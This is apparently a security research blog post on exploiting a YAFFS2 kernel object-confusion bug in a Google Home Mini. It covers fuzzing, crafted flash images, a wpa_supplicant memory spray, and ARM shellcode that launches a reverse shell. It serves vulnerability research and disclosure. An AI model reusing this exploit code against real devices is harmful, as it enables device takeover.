Running Custom Code on a Google Home Mini (Part 2)
Posted on Tue 28 July 2020 in Projects
Introduction
After the work detailed in part 1, altering the content of the NAND Flash of the Google Home Mini with ease is now possible.
Despite this very privileged access, because of Google’s secure boot implementation, running arbitrary code on the CPU of the device isn’t possible using simple and naive methods.
However, as we’ll see, there is still a way.
This post will detail how I achieved code execution. It will require fuzzing, understanding some Linux code and finally exploiting a kernel bug.
Of course, NandBug, the hardware tool previously introduced, will be used.
The Plan
Finding a Vulnerability: Where?
Given the secure boot implementation, the next logical step to achieve code execution was to find an exploitable bug somewhere in the code executed by the processor.
I first took a look at the userspace binaries available. My first idea was to find some kind of file parsing bug. Altering a configuration file of the non cryptographically verified sections of the flash could possibly lead to interesting memory corruptions errors?
Unfortunately, I haven’t found anything relevant exploring this path. Further, I realized soon enough that even if a bug was to be found, exploiting it could be tricky.
Indeed, userspace binaries are hardened. For instance, running checksec against a random ELF executable extracted from the initramfs
returns the following.
$ checksec --file=./init_properties
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH RUNPATH No Symbols Yes 3 5 init_properties
Instead, I targeted “lower hanging fruits”.
The Linux kernel used by the Google Home firmware is apparently based on a rather old revision, 3.8.13
, and doesn’t seem to be using any kind of advanced protection or hardening. Could a Kernel exploit be the key?
Inside the Kernel, I decided a natural target could be a filesystem driver. Indeed, NandBug can be used to alter the NAND flash content at the lowest level.
In particular, I first choose to study the YAFFS2
driver, that is used by the cache
and factory_store
partitions.
Choosing YAFFS2
as a first target was not a completely random choice.
By looking at the source code, I’ve indeed noticed Google applied a couple of patches that are nowhere to be found upstream. Further, even without accounting for these custom patches, the YAFFS2
revision used is several years old. Last but not least, these partitions aren’t part of the chain of trust, they are not verified.
Hence, the very high-level plan was now the following:
- Find a vulnerability in
YAFFS2
Kernel code. - Alter the NAND Flash content to trigger and exploit this vulnerability on the Google Home.
- Profit.
Finding a Vulnerability: How?
“Finding a vulnerability in the YAFFS2
Kernel code” is easier said than done.
Manually studying the source code was an option. Indeed, the source code of the entire Kernel is publicly available here.
However, I choose to rely on fuzzing instead.
Fuzzing the YAFFS2 Kernel Driver
Inspiration: the Janus Fuzzer
I’m not the first one who attempted to fuzz an entire filesystem implementation. Various resources and tools are available online.
The idea behind one of these tools, the Janus Fuzzer, however, caught my attention.
The concept behind Janus, as explained by its creators, is the following:
Janus is a general file system fuzzer. Janus finds memory corruptions in in-kernel file systems on Linux by exploring the input space of both images and syscalls simultaneously in an efficient and effective manner. Janus is implemented as an AFL variant. As an OS fuzzer, its target is not traditional VMs but Linux Kernel Library (https://github.com/lkl). Janus has found around 100 unique crashes in mainstream file systems with 32 CVEs assigned so far.
What interested me was the use of the Linux Kernel Library.
LKL (Linux Kernel Library) is aiming to allow reusing the Linux kernel code as extensively as possible with minimal effort and reduced maintenance overhead.
Examples of how LKL can be used are: creating userspace applications (running on Linux and other operating systems) that can read or write Linux filesystems or can use the Linux networking stack, creating kernel drivers for other operating systems that can read Linux filesystems, bootloaders support for reading/writing Linux filesystems, etc.
With LKL, the kernel code is compiled into an object file that can be directly linked by applications. The API offered by LKL is based on the Linux system call interface.
LKL is implemented as an architecture port in arch/lkl. It uses host operations defined by the application or a host library (tools/lkl/lib).
Instead of fuzzing the Linux Kernel by naively running it into a Virtual Machine, Janus creates an userspace binary that’s directly calling the Linux Kernel code to be tested.
This as several advantages:
- This is faster, has less overhead. There is indeed no need to boot an entire VM at each iteration of the fuzzing loop.
- Fuzzing userspace applications is a rather common and well documented process. Something like AFL can easily be used.
Porting LKL to the Google Home Linux Kernel
To maximize my chances of finding an exploitable bug on the real hardware, I’ve decided to fuzz the same Kernel as the one published by Google.
That’s why, for the Janus method to work, this very Kernel must be compiled as userspace LKL application.
Using LKL with a given Kernel can be achieved by patching its code, so it supports the lkl
architecture.
I achieved this by:
- Copying relevant files from the lkl sources to the Google Home Linux sources. In particular, the
arch/lkl/
folder must be copied. - Patching many other little things so that the Google
3.8.13
sources can work correctly with the newarch/lkl/
folder.
This was a rather time-consuming, and not particularly interesting task.
The final patched Kernel is available here. Please note that I’ve only extensively tested the YAFFS2
driver. Other parts may or may not work correctly.
Compiling a LKL Test Harness
The test harness I used to fuzz the YAFFS2
filesystem basically performs the following operations:
- Retrieve an entire filesystem image from
stdin
. - Flash this filesystem image to a virtual NAND flash device, emulated by the
nandsim
Linux Kernel driver - Mount the filesystem
- Perform various operations on the filesystem (read, write, unlink, list the content of a directory, …)
- Unmount the filesystem
The complete fuzzing harness source code is available here. Everything can be compiled by running the ./build_yaffs_harness.sh
script. The resulting ELF binary is available at ./tools/lkl/fsfuzz
after the compilation.
Here again, this harness has been adapted from some Janus parts.
Fuzzing Results
AFL was used.
The initial data to be mutated was a simple YAFFS2
image containing a couple of folders and files. For the record and if anyone attempts to reproduce my results, the image I used can be downloaded here.
AFL
workers were launched with the following command.
./AFL/afl-fuzz -S fuzzer1 -m 1024 -i inp/ -o out/ ./tools/lkl/fsfuzz
The number of executions per second is admittedly rather low, but by launching several instances of the loop on multiple CPU cores, I obtained several hundred of crashes in less than 24 hours.
Studying these crashes led me to discover an exploitable bug I’ll now describe.
The YAFFS2 “Object Confusion” Bug
Introduction
To better follow the bug description, don’t hesitate to take a look at the complete YAFFS2
code used by Google here.
Additionally, a quick read of the entire YAFFS Technical Documentation might be needed occasionally, but I’ll first rapidly introduce important concepts by referring to relevant parts of this very document.
The Yaffs NAND model
The memory in NAND flash is arranged in pages. A page is the unit of allocation and programming. In Yaffs, the unit of allocation is the chunk. Typically a chunk will be the same as a NAND page, but there is flexibility to use chunks which map to multiple pages (eg. A system may have two NAND chips in parallel requiring 2x2048 = 4096 byte chunks). This distinction gives a lot of flexibility in how the system can be configured. In this text the term page and chunk are synonymous unless stated otherwise. Many, typically 32 to 128 but as many as a few hundred, chunks form a block. A block is the unit of erasure. NAND flash may be shipped with bad blocks and further blocks may go bad during the operation of the device. Thus, Yaffs is aware of bad blocks and needs to be able to detect and mark bad blocks. NAND flash also typically requires the use of some sort of error detection and correction code (ECC). Yaffs can either use existing ECC logic or provide its own.
In the case of the Google Home Mini, a NAND Flash page corresponds to a chunk and the ECC code isn’t computed on the YAFFS2
side. The hardware ECC of the SoC is used.
Content of the Chunks
Instead of writing data in locations specific to the files, the file system data is written in the form of a sequential log, The entries in the log are all one chunk in size and can hold one of two types of chunk: - Data chunk: A chunk holding regular data file contents. - Object Header: A descriptor for an object (directory, regular data file, hard link, softlink, special descriptor,…). This holds details such as the identifier for the parent directory, object name, etc.
Each chunk owns additional pieces of information called tags. To understand the bug, the relevant tag types are the following:
- Object Id (obj_id): Identifies which object the chunk belongs to.
- Chunk Id (chunk_id): Identifies where in the file this chunk belongs. A chunk_id of zero signifies that this chunk contains an objectHeader. chunk_id==1 signifies the first chunk in the file (ie. At file offset 0), chunk_id==2 is the next chunk and so on.
- Byte Count: (n_bytes): Number of bytes of data if this is a data chunk.
- Sequence Number (seq_number): As each block is allocated, the file system’s sequence number is incremented and each chunk in the block is marked with that sequence number. The sequence number thus provides a way of organising the log in chronological order.
Description of the Bug
Theoretical Description
The vulnerability I found is a kind of object confusion vulnerability.
Issues are located in the yaffs2_scan_chunk
function.
Let’s consider what happens when a YAFFS2
partition is mounted. Each chunk of the NAND flash will be scanned: the yaffs2_scan_chunk
function will be called for each of them.
If the scan bumps into a chunk with chunk_id > 0
, it will be considered as a data chunk and a new yaffs_obj
object in
will be allocated by yaffs_find_or_create_by_number
.
The type of the object is set to YAFFS_OBJECT_TYPE_FILE
.
} else if (tags.chunk_id > 0) {
/* chunk_id > 0 so it is a data chunk... */
loff_t endpos;
loff_t chunk_base = (tags.chunk_id - 1) *
dev->data_bytes_per_chunk;
*found_chunks = 1;
yaffs_set_chunk_bit(dev, blk, chunk_in_block);
bi->pages_in_use++;
in = yaffs_find_or_create_by_number(dev,
tags.obj_id,
YAFFS_OBJECT_TYPE_FILE);
The size of this file will be computed from data obtained in the chunk content (tags.n_bytes
and tags.chunk_id
) and set to the variant.file_variant
union of this newly allocated in
yaffs_obj
.
loff_t chunk_base = (tags.chunk_id - 1) *
dev->data_bytes_per_chunk;
/* [...] */
/* File size is calculated by looking at
* the data chunks if we have not
* seen an object header yet.
* Stop this practice once we find an
* object header.
*/
endpos = chunk_base + tags.n_bytes;
if (!in->valid &&
in->variant.file_variant.scanned_size < endpos) {
in->variant.file_variant.
scanned_size = endpos;
in->variant.file_variant.
file_size = endpos;
}
Next, let’s consider another chunk with the very same object_id
is scanned. This chunk can be an object header for any kind of object. The same yaffs_obj
as the previously allocated one will be used.
/* chunk_id == 0, so it is an ObjectHeader.
* Thus, we read in the object header and make
* the object
*/
*found_chunks = 1;
yaffs_set_chunk_bit(dev, blk, chunk_in_block);
bi->pages_in_use++;
oh = NULL;
in = NULL;
if (tags.extra_available) {
in = yaffs_find_or_create_by_number(dev,
tags.obj_id,
tags.extra_obj_type);
if (!in)
alloc_failed = 1;
}
The object type is not considered by the yaffs_find_or_create_by_number
function when finding an already allocated object by id.
struct yaffs_obj *yaffs_find_or_create_by_number(struct yaffs_dev *dev,
int number,
enum yaffs_obj_type type)
{
struct yaffs_obj *the_obj = NULL;
if (number > 0)
the_obj = yaffs_find_by_number(dev, number);
if (!the_obj)
the_obj = yaffs_new_obj(dev, number, type);
return the_obj;
}
If the new object type is different from the previously set YAFFS_OBJECT_TYPE_FILE
, an error trace will be displayed, but this message won’t stop the code execution nor fix the situation in any meaningful way.
if (!in->valid && in->variant_type !=
(oh ? oh->type : tags.extra_obj_type))
yaffs_trace(YAFFS_TRACE_ERROR,
"yaffs tragedy: Bad object type, %d != %d, for object %d at chunk %d during scan",
oh ? oh->type : tags.extra_obj_type,
in->variant_type, tags.obj_id,
chunk);
Hence, the in
yaffs_object
variant_type
is updated, while the content of the variant
union is kept the same.
in->variant_type = tags.extra_obj_type;
At this point, the situation is the following:
- The
variant
union was filled as afile_variant
type. - This
variant
union is now considered to be another variant, corresponding to an arbitraryYAFFS2
object.
Dynamic Analysis
To better understand the mechanisms and implications of this confusion, let’s dynamically study the previously described execution flow.
Here are some snippets from a GDB session attached to a QEMU instance running Google’s kernel (more detail on the emulation process will be given later in the article).
First, after the driver has read a chunk with chunk_id > 0
, the following yaffs_object
is allocated.
gef> p *in
$2 = {
[...]
variant_type = YAFFS_OBJECT_TYPE_FILE,
variant = {
file_variant = {
file_size = 0x42442,
scanned_size = 0x42442,
shrink_size = 0x7ffffff800,
top_level = 0x0,
top = 0xc6ca0000
},
dir_variant = {
children = {
next = 0x42442,
prev = 0x0
},
dirty = {
next = 0x42442,
prev = 0x0
}
},
symlink_variant = {
alias = 0x42442 <error: Cannot access memory at address 0x42442>
},
hardlink_variant = {
equiv_obj = 0x42442,
equiv_id = 0x0
}
}
}
The variant
union is considered a file_variant
and is filled as follows:
file_variant = {
file_size = 0x42442,
scanned_size = 0x42442,
shrink_size = 0x7ffffff800,
top_level = 0x0,
top = 0xc6ca0000
}
It’s important to note that the file_size
is computed from the chunk data, and can be set to arbitrary values.
Next, let’s consider a directory header chunk with the same obj_id
is scanned. The resulting object will be modified as follows.
gef> p *in
$7 = {
[...]
variant_type = YAFFS_OBJECT_TYPE_DIRECTORY,
variant = {
file_variant = {
file_size = 0x42442,
scanned_size = 0x42442,
shrink_size = 0x7ffffff800,
top_level = 0x0,
top = 0xc6ca0000
},
dir_variant = {
children = {
next = 0x42442,
prev = 0x0
},
dirty = {
next = 0x42442,
prev = 0x0
}
},
symlink_variant = {
alias = 0x42442 <error: Cannot access memory at address 0x42442>
},
hardlink_variant = {
equiv_obj = 0x42442,
equiv_id = 0x0
}
}
}
Now, the variant
union is to be interpreted as a dir_variant
.
dir_variant = {
children = {
next = 0x42442,
prev = 0x0
}
Consequently, the in->variant->dir_variant.children.next
can be controlled.
gef> p in->variant->dir_variant.children.next
$11 = (struct list_head *) 0x42442
When this poisoned folder is used, various kinds of memory corruptions errors can occur.
For instance, as we’ll see, removing it from the filesystem (for instance, with a simple userspace rm
command) will trigger a code path that may result in controlling a function pointer, ultimately leading to possible code execution.
Path to Arbitrary Code Execution
While a poisoned folder similar to the one described before is unlinked, the static void yaffs_check_obj_details_loaded(struct yaffs_obj *in)
is called with a in
parameter, corresponding to the controlled in->variant->dir_variant.children.next
variable.
At that point, on the debugged QEMU session, the call stack looks like the following.
[#0] 0xc012fbd8->yaffs_check_obj_details_loaded(in=0x42422)
[#1] 0xc0130acc->yaffs_get_obj_name(obj=0x42422, name=0xc6cb3e38 "", buffer_size=0x100)
[#2] 0xc012bc74->yaffs_readdir(f=0xc79138a0, dirent=0x0, filldir=0xc79138a0)
[#3] 0xc009d73c->vfs_readdir(file=0xc79138a0, filler=0xc009d8b0 <filldir64>, buf=0xc6cb3f80)
[#4] 0xc009dcb0->sys_getdents64(fd=<optimized out>, dirent=0xbecb7c40, count=0x1000)
[#5] 0xc00137e0->kuser_cmpxchg32_fixup()
The relevant parts of the yaffs_check_obj_details_loaded
function are highlighted below.
static void yaffs_check_obj_details_loaded(struct yaffs_obj *in)
{
/* [...] */
dev = in->my_dev;
/* [...] */
result = yaffs_rd_chunk_tags_nand(dev, in->hdr_chunk, buf, &tags);
/* [...] */
}
int yaffs_rd_chunk_tags_nand(struct yaffs_dev *dev, int nand_chunk,
u8 *buffer, struct yaffs_ext_tags *tags)
{
/* [...] */
result = dev->tagger.read_chunk_tags_fn(dev, flash_chunk, buffer, tags);
/* [...] */
}
Here, carefully selecting the address of the yaffs_obj
, so it points to a controlled area, means that the function pointer to dev->tagger.read_chunk_tags_fn
can be controlled as well.
Overwriting a function pointer could ultimately lead to arbitrary code execution.
Upstream Bug Status
In the upstream YAFFS2
source code, this issue has actually luckily been patched by a commit dating back from 2014. Judging from the commit message, possible security implications of the bug were apparently not known.
What’s surprising is that even if this vulnerability isn’t supposed to be exploitable since 2014, the Linux Kernel running on the Google Home Mini I had in hand is vulnerable. This kernel was, however, compiled not that long ago, in June 2019.
Linux version 3.8.13+ (user@host) (gcc version 4.9.x 20150123 (prerelease) (4.9.2_cos_gg_4.9.2-r203-ac6128e0a17a52f011797f33ac3e7d6273a9368d_4.9.2-r203) ) #0 SMP PREEMPT Fri Jun 7 12:32:44 2019 -0700 (78e8f601)
Further, in more recent kernel revisions available among Google’s released sources, this upstream YAFFS2
patch is included.
I’ve contacted both the YAFFS2
maintainer and Google about this issue. It appears that:
- The Google employee I was in contact with was not aware of any security vulnerability and said the newly included 2014 patch could have simply been a routine patch.
- As up-to-date code isn’t exploitable anymore, no further actions will be taken.
Exploiting the Google Home Mini
The Plan
Given this bug and the “Path to Arbitrary Code Execution”, overwriting the read_chunk_tags_fn
function pointer on the Google Home Mini will at least require the following:
- The Google Home Mini firmware will need to mount one of the two
YAFFS2
partitions,cache
andfactory_store
. - At some point, a folder of one of these partitions will have to be removed. This folder object can be poisoned to trigger the bug.
- A way to fill the memory with arbitrary data at a relatively stable location will be needed. This memory can be used to store fake
yaffs_object
. Filling memory with a large amount of data will be required, so relying on precise addresses won’t be needed.
By chance, all these three conditions are fulfilled by the initialization script executed at the very beginning of the boot process.
YAFFS2 Partitions Mounting
This script, init.rc
, located in the Kernel initramfs
, contains the following lines.
First, the cache
and factory_store
partitions are mounted.
mount yaffs2 mtd@cache /cache noexec rw nosuid nodev noatime
# [...]
mkdir /cache/.data 0755 root root
exec /bin/mount -o bind /cache/.data /data
# [...]
mount yaffs2 mtd@factory_store /factory_setting ro nosuid nodev noatime
Folder Removal
Soon after, it’s possible to find a piece of code that removes a folder from the cache
partition.
# watchdog setup should be after launch of ampservice
# this is expensive since it scans procfs
exec /bin/sh /sbin/watchdog_setup.sh ampservice
The beginning of the /sbin/watchdog_setup.sh
file contains these commands:
WATCHDOG_DIR=/data/watchdog
PID_FILES_DIR=${WATCHDOG_DIR}/pid_files
WATCHDOG_DIR_IN=/etc
CONFIG_FILE_IN=${WATCHDOG_DIR_IN}/watchdog.conf.in
CONFIG_FILE=${WATCHDOG_DIR}/watchdog.conf
umask 077
rm -r ${PID_FILES_DIR}
It means, the folder object we’ll need to poison is ./.data/watchdog/pid_files
, located on the cache
partition.
Memory Filling
There is still one important point to address: how to fill the memory with arbitrary data?
An easy way to achieve this is to use a little trick, involving the tool wpa_supplicant
. This binary is launched just before the “folder removal” operation.
service wpa_supplicant /bin/wpa_supplicant -imlan0 -c/data/wifi/wpa_supplicant.conf
socket wpa_mlan0 dgram 660 wifi wifi
class service
As the configuration file /data/wifi/wpa_supplicant.conf
is read from the NAND flash, it can be filled with arbitrary data.
One of the features of wpa_supplicant
is to be able to load binary blobs from its configuration file. This appears to be useful to, for instance, store certificates.
# Example configuration showing how to use an inlined blob as a CA certificate
# data instead of using external file
network={
ssid="example"
key_mgmt=WPA-EAP
eap=TTLS
identity="[email protected]"
anonymous_identity="[email protected]"
password="foobar"
ca_cert="blob://exampleblob"
priority=20
}
blob-base64-exampleblob={
SGVsbG8gV29ybGQhCg==
}
It turns out there is no size limitation enforced. It’s possible to define an extremely large blob-base64
. Further, these blobs are loaded as soon as wpa_supplicant
is launched.
Therefore, using blob-base64
seems to be an ideal method to fill the RAM of the Google Home Mini with controlled data, just before triggering the YAFFS2
bug.
One question remains, though. The memory filled here is the virtual memory of the wpa_supplicant
process. Will it be directly accessible from the Kernel?
To answer this, let’s take a look at some Kernel boot traces, available on logs files of the NAND flash.
[ 0.000000] Virtual kernel memory layout:
[ 0.000000] vector : 0xffff0000 - 0xffff1000 ( 4 kB)
[ 0.000000] fixmap : 0xfff00000 - 0xfffe0000 ( 896 kB)
[ 0.000000] vmalloc : 0xde000000 - 0xff000000 ( 528 MB)
[ 0.000000] lowmem : 0xc0000000 - 0xddd00000 ( 477 MB)
[ 0.000000] .text : 0xc0008000 - 0xc0672ea8 (6572 kB)
[ 0.000000] .init : 0xc0673000 - 0xc06a3d40 ( 196 kB)
[ 0.000000] .data : 0xc06a4000 - 0xc06e8780 ( 274 kB)
[ 0.000000] .bss : 0xc06e8780 - 0xc07353a0 ( 308 kB)
These early traces provide information about the virtual memory layout used by the system. To understand everything, reading some documentation might be useful.
However, here, let’s just focus on the lowmem
section. According to the linked document:
For efficiency reasons, the virtual address space is divided into user space and kernel space. For the same reason, the kernel space contains a memory mapped zone, called lowmem, which is contiguously mapped in physical memory, starting from the lowest possible physical address (usually 0). The virtual address where lowmem is mapped is defined by PAGE_OFFSET.
On a 32bit system, not all available memory can be mapped in lowmem and because of that there is a separate zone in kernel space called highmem which can be used to arbitrarily map physical memory.
The important points for us is that:
- The
lowmem
area is easily accessible from the Kernel. - There is a one-to-one mapping between the physical memory and the
lowmem
area.
According to the logs, lowmem
is 477 MB
. The physical memory of the Google Home Mini hardware is just 512 MB
. Thus, a highmem
section is not needed. The content of the blob-base64
will be available somewhere in lowmem
, accessible at addresses ranging from 0xc0000000
to 0xddd00000
.
There is still one point to address. It’s obviously not possible to control where, on the physical memory, the blob-base64
is written to. Fortunately:
- It’s possible to partially mitigate this problem by using large
blob-base64
objects. - As everything happens just after the boot, I’ve found memory addresses to be relatively stable (at least stable enough to have an exploit that works occasionally).
From Function Pointer Overwrite to Code Execution
The previously described elements are enough to overwrite the dev->tagger.read_chunk_tags_fn
pointer. But how to execute arbitrary code from this point?
It turns out that on my Google Home Mini Kernel, it’s rather straightforward. Indeed, this Kernel does not include this commit untitled “Simple NX lowmem mappings”.
Add basic NX support for kernel lowmem mappings. We mark any section which does not overlap kernel text as non-executable, preventing it from being used to write code and then execute directly from there.
Data in lowmem
can be executed. Writing a shellcode on a blob-base64
and jumping on it will do the trick.
The Big Picture
To summarize what has been said before, you may find useful to refer to the following diagram.
Additional Details
To keep things relatively short and digest, I voluntarily omitted a couple of less relevant details.
In particular:
- The
YAFFS2
filesystem does use a so-called Garbage Collector. This is implemented as an additional Kernel thread that is periodically executed after the mounting of the filesystem. If this collector happens to scan the poisoned folder before the folder removal operation, a non-exploitable fault will occur. Nevertheless, in our specific case, this is not that big of an issue because the folder removal operation occurs right after the filesystem has been mounted. - The entire “filling the memory with several
yaffs_object
structures” thing is slightly more complicated than this. The content of the objects must for instance fulfill a couple of conditions, so that the code path leading to the function pointer call is used. - Further, a
yaffs_object
being rather large, simply filling the memory will make it unlikely an object is aligned with a given memory address. To mitigate this issue, I crafted special structures that can be loaded as a validyaffs_object
from several offsets.
Exploiting the Google Home Mini
Emulating the Google Home Firmware with QEMU
Before even starting to exploit anything, I wanted a reliable and somewhat “realistic” way to test my code. I achieved this by partially emulating the Google Home Firmware with QEMU.
Without emulating the entire hardware of the device, it’s of course not possible to emulate everything. However, it’s still possible to compile the Google Home Kernel from the sources, boot it, and run a part of the initramfs
init.rc
script. That’s just enough to trigger the YAFFS2
bug.
Concerning the kernel side of things, you can refer to the following branch of my gmini-linux
repository. It contains:
- A Kernel configuration file,
vexpress_gmini
, targeting thevexpress-a9
hardware.vexpress-a9
is a Cortex-A15 machine supported by QEMU. This is the closest thing to an actual Google Home Mini I found. Not perfect, of course, but good enough for my purpose. - A patch that allows
nandsim
, the NAND Flash Simulator driver, to reuse a cache file across reboots. This is inspired by this patch. In a nutshell, this allows for easier NAND flash data provisioning.
The initramfs
I attached to this kernel is almost the same as the one dumped from the NAND Flash. I had to alter a couple of things, including:
- Removing some references to non-existing hardware initialized before the bug is triggered (Mostly a I2C LED driver and Wi-Fi).
- Adding a couple of lines to initialize the
nandsim
NAND Flash Simulator with alteredcache
andfactory_store
partitions.
With these zImage
Kernel and initramfs.cpio.gz
initramfs
, the system can be booted in the following way:
qemu-system-arm -m 477M -nographic -M vexpress-a9 \
-kernel zImage \
-append "console=ttyAMA0" \
-nic user,hostfwd=tcp::2222-:22 -sd gminidisk.img \
-initrd initramfs.cpio.gz
The gminidisk.img
is a file containing the NAND Flash data that the nandsim
driver is going to use.
I won’t be sharing the content of the initramfs.cpio.gz
file, as it does contain Google intellectual property.
The Complete Exploit
A lot of QEMU debugging later, I came up with a working exploit.
The complete code is available here.
The GenFilesystem.py
script can be used to generate two YAFFS2
filesystem images, cache
and factory_store
, allowing for arbitrary code execution on the Google Home Mini.
./GenFilesystem.py -h
usage: GenFilesystem.py [-h] address output
Generate YAFFS2 filesystems
positional arguments:
address Guess of the fake yaffs_obj target address in lowmem area
output Output filename
optional arguments:
-h, --help show this help message and exit
Allow me to explain how these images are generated by reading through the exploit code.
Cache Filesystem Creation
#
# Build cache YAFFS2 partition (the actual exploit payload)
#
partition = Yaffs2Partition()
A first YAFFS2
partition, the cache
partition, is created. This partition is the one that will contain the YAFFS2
structures leading to the bug being triggered.
Please note that the Yaffs2Partition
Python object comes from the YAFFS2.py
file, that implements some simple (and actually rather incomplete) representations of various YAFFS2
objects.
# Fill the partition with the minimal amount of files
# for the system to boot until the YAFFS2 bug
# is triggered
tar = tarfile.open("cache_skeleton.tar", "r")
for obj in tar.getmembers():
if obj.name in [".", "./lost+found", "./.data/wifi/wpa_supplicant.conf"]:
continue
if obj.isdir():
partition.add_dir(obj.name, obj.mode, obj.uid, obj.gid)
elif obj.issym():
partition.add_sym(obj.name, obj.linkname,
obj.mode, obj.uid, obj.gid)
else:
print(f"Unsupported object {obj}")
exit(-1)
Next, this filesystem is populated with objects coming from the cache_skeleton.tar
archive. This archive contains a minimal set of files and directories.
These objects are needed for the init.rc
script to work until the YAFFS2
bug is triggered.
Please note that, once again, this archive does contain Google IP. That’s why, I won’t share it and the cache_skeleton.tar
available on GitHub is an empty archive.
# Create specially crafted wpa_supplicant.conf
# This will fill the memory with fake yaffs_object structures
fake_objet_address = int(args.address, 16)
mem_filler = generate_wpa_filler(fake_objet_address)
partition.add_file("./.data/wifi/wpa_supplicant.conf",
mem_filler, mode=384, gid=1008, uid=1008)
Further down the code, the wpa_supplicant.conf
file is created. This file is used to fill the memory with arbitrary data.
The generate_wpa_filler
function is the following.
def generate_wpa_filler(target_address):
"""
Return the content of the special wpa_supplicant.conf file
Once interpreting this file, wpa_supplicant will fill the memory
with yaffs_object-like structures. If by chance one of these structures
ends up at target_address, the exploit will succeed.
"""
yaffs_obj_addr = target_address
my_dev_addr = yaffs_obj_addr - 120
shellcode_addr = yaffs_obj_addr + 12 * 4
#
# Each block contains multiple yaffs_object structures
# as well as a shellcode
#
block = b""
for i in range(110):
#
# Fake Yaffs objects
#
block += pack("III" + "IIIIIIIII",
0x0fffffff, 0x0fffffff,
my_dev_addr,
my_dev_addr,
my_dev_addr,
0, 0,
shellcode_addr + 12*4 * (100-i-1),
shellcode_addr + 12*4 * (100-i-1) - 4,
shellcode_addr + 12*4 * (100-i-1) - 8,
0xdead,
0xdead
)
block += open("shellcode/shellcode.bin", "rb").read()
data = block * 32
data = b64encode(data) # blob-base64 are base64 encoded
f = BytesIO()
#
# Writing these lines is mandatory for the
# init.rc script to consider the configuration file
# as valid
#
f.write(b"ctrl_interface=/data/wifi\n")
f.write(b"update_config=1\n")
f.write(b"country=US\n")
#
# Fill actual AP data, so the Google Home Mini will be accessible
# via WiFi
#
f.write(b"network={\n")
f.write(b"ssid=\"GMINI\"\n")
f.write(b"psk=eaa956726e95bba1dc63dccfe6a699cf203535bdac3eeeb6173ef18f41a78150\n")
f.write(b"}\n")
#
# Create a large number of blob-base64 to fill the memory
#
for i in range(400):
f.write(b"blob-base64-f"+str(i).encode()+b"={\n")
for i in range(0, len(data), 128):
f.write(data[i:i+128] + b"\n")
f.write(b"}\n")
return f.getvalue()
You can read the comments to understand the details of this function, but basically, it will:
- Prepare a special structure, composed of data that could be interpreted as a
yaffs_object
along with a shellcode (more on this later) to be executed. These generated objects will only be valid once loaded at the addresstarget_address
. However, the number of objects being large, the probability of this situation happening for a carefully selectedtarget_address
is supposedly high. I won’t go through the very details of the structure, and I’ll just highlight it is a way to go far enough into theYAFFS2
kernel code. Far enough to call the overwrittendev->tagger.read_chunk_tags_fn
function. - Base64 encode this data and create a large amount of
blob-base64
to load everything into the memory. - Despite all these
blob-base64
, the generatedwpa_supplicant.conf
file is still valid and will allow the Google Home to connect to a Wi-Fi access point. This is of course useful to communicate with the device after the exploit has been run.
After the creation of the wpa_supplicant.conf
file, the ./.data/watchdog/pid_files
directory is built.
partition.add_dir("./.data/watchdog/")
partition.finish_block()
# Manually add the "./.data/watchdog/pid_files" directory.
# This is the folder that will be removed by the init scripts
chunk = Yaffs2Chunk()
chunk.hdr.type = 3
chunk.hdr.parent_obj_id = partition.get_id("./.data/watchdog/")
chunk.hdr.name = b"pid_files"
chunk.oob.seq_number = partition.current_seq_number
chunk.oob.obj_id = partition.current_obj_id + 1
chunk.oob.chunk_id = 0
chunk.oob.n_bytes = 0
partition.add_chunk(chunk)
Finally, let’s trigger the bug. Another chunk is added, with the same obj_id
as the ./.data/watchdog/pid_files
directory.
# Evil chunk, will poison the "./data/watchdog/pid_files" folder.
chunk = Yaffs2Chunk()
chunk.hdr.type = 3 # YAFFS_DIR
chunk.hdr.parent_obj_id = 0
chunk.hdr.name = b"pid_files"
chunk.oob.seq_number = partition.current_seq_number # Same as pid_file/
chunk.oob.obj_id = partition.current_obj_id + 1 # Same as pid_file/
# Compute chunk_id and n_bytes so that removing pid_file
# will consider the object at fake_objet_address
chunk.oob.chunk_id = (fake_objet_address+0x20) // 0x800 + 1
chunk.oob.n_bytes = (fake_objet_address+0x20) - \
(chunk.oob.chunk_id-1) * 0x800
partition.add_chunk(chunk)
The chunk.oob.chunk_id
and chunk.oob.chunk_id
values are carefully computed, so the accessed yaff_object
during the directory removal operation is located at fake_objet_address
.
To understand how these values are computed, you can take a look at the Kernel C code previously detailed. The relevant code looks like the following.
loff_t chunk_base = (tags.chunk_id - 1) * dev->data_bytes_per_chunk;
endpos = chunk_base + tags.n_bytes;
in->variant.file_variant.scanned_size = endpos;
With everything finally ready, the filesystem can now be saved to a binary file.
f = open(f"cache_{args.output}", "wb")
partition.save(f)
f.close()
The Shellcode
Here is the complete source code of the shellcode to be executed.
.text
.global _start
_start:
// call_usermodehelper_fns("/bin/mount", ["/bin/mount", "-o", "remount,rw,exec",
// "/factory_setting", 0x00],
// NULL, UMH_WAIT_PROC, NULL, NULL, NULL)
add r0, pc, #88 // mount
add r1, pc, #95 // dasho
add r2, pc, #94 // remount,exec
add r3, pc, #106 // factory_setting
mov r4, #0
push {r0-r4}
mov r1, sp // ["/bin/mount", "-o", "remount,rw,exec", "/factory_setting", 0x00]
push {r4} // NULL
push {r4} // NULL
push {r4} // NULL
mov r2, #0 // NULL
ldr r3, =2 // UMH_WAIT_PROC
ldr r4, =0xc00fa15c //=0xc00f75d0 // =0xc00fa15c // usermodehelper
blx r4
// call_usermodehelper_fns("/factory_setting/s", ["/data/s", 0x00],
// NULL, UMH_WAIT_PROC, NULL, NULL, NULL)
add r0, pc, #79 // shell
add r1, pc, #75 // shell
mov r2, #0
push {r0-r2}
mov r1, sp // ["/factory_setting/s", 0x00]
push {r2} // NULL
push {r2} // NULL
push {r2} // NULL
ldr r3, =2 // UMH_WAIT_PROC
blx r4
mount: .asciz "/bin/mount"
dasho: .asciz "-o"
remount: .asciz "remount,rw,exec"
factory_setting: .asciz "/factory_setting"
shell: .asciz "/factory_setting/s"
The call_usermodehelper_fns
function is used to call an userspace binary from the Kernel side.
The following is accomplished:
- The
YAFFS2
/factory_setting
partition is remounted with theexec
flag. - The ELF
/factory_setting/s
binary is executed.
This ELF binary is a simple reverse shell. An image of the /factory_setting
partition that contains it is generated at the end of the GenFilesystem.py
script.
Running the Exploit
The actual attack against the Google Home Mini goes as follows.
- An educated guess about where a valid
yaffs_object
could be available inlowmem
is made. The emulated QEMU firmware can be used to have a rough idea of where to start searching. - Corresponding filesystem images are generated with
GenFilesystem.py
